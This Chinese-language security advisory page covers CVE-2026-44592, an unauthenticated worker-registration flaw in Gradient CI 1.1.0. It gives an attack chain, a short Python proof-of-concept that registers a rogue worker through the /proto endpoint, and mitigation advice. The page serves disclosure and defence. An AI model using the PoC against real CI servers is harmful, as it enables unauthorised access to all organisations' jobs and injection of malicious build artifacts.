IPBUF安全漏洞报告
English
CVE-2026-44592 CVSS 9.4 严重

CVE-2026-44592 Gradient CI未授权注册漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-44592
漏洞类型
未授权访问
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gradient

相关标签

未授权访问权限绕过CI/CDGradient供应链安全

漏洞概述

Gradient是基于Nix的持续集成系统。在1.1.0版本中,当GRADIENT_DISCOVERABLE设置为true(默认值)时,攻击者无需凭证即可通过/proto路径注册为worker。该漏洞允许攻击者获取PeerAuth::Open权限,查看所有组织的作业,并推送任意存储路径,严重威胁系统完整性和可用性。

技术细节

该漏洞的核心问题在于Gradient CI系统在默认启用服务发现(GRADIENT_DISCOVERABLE=true)时,未对新Worker的注册请求实施严格的身份验证机制。攻击者无需拥有任何合法凭证,仅需构造一个未曾在系统中注册过的UUID,并向/proto接口发送注册请求,即可伪装成合法的Worker节点。成功注册后,系统会分配PeerAuth::Open权限,这比普通Worker权限更广泛,允许跨组织访问所有CI作业数据。此外,由于缺乏对上传内容的校验,攻击者可以利用NarPush或NarUploaded功能,向系统的nar_storage及cached_path数据库表中写入任意构造的Nix存储路径。这不仅破坏了CI构建的完整性(注入恶意构建产物),还可能占用大量存储资源导致服务拒绝(可用性影响)。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描目标网络,发现暴露的Gradient CI服务及其/proto端点。
STEP 2
步骤2:恶意注册
攻击者生成一个新的UUID,向/proto端点发送注册请求,无需任何凭证即可伪装成Worker。
STEP 3
步骤3:权限提升
系统接受注册并分配PeerAuth::Open权限,使攻击者能够查看所有组织的CI作业。
STEP 4
步骤4:数据篡改
攻击者利用获得的权限调用NarPush接口,向系统存储中注入恶意的Nix存储路径,破坏系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import uuid def exploit_gradient(target_url): # Generate a fresh UUID to simulate a new worker worker_uuid = str(uuid.uuid4()) # The endpoint for worker registration register_endpoint = f"{target_url}/proto" headers = { "Content-Type": "application/json" } # Payload to register the worker payload = { "id": worker_uuid, "type": "worker" } try: print(f"[*] Attempting to register worker with UUID: {worker_uuid}") response = requests.post(register_endpoint, json=payload, headers=headers) if response.status_code == 200: print("[+] Worker registration successful!") print("[+] Authenticated with PeerAuth::Open privileges.") print("[+] Can now view all organization jobs and push arbitrary store paths.") else: print(f"[-] Registration failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-gradient-instance.com" exploit_gradient(target)

影响范围

Gradient 1.1.0

防御指南

临时缓解措施
建议立即检查系统配置,将GRADIENT_DISCOVERABLE设置为false以关闭服务发现功能,并通过防火墙规则限制仅受信任的IP地址可以访问Gradient服务的/proto注册接口,直到完成升级修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表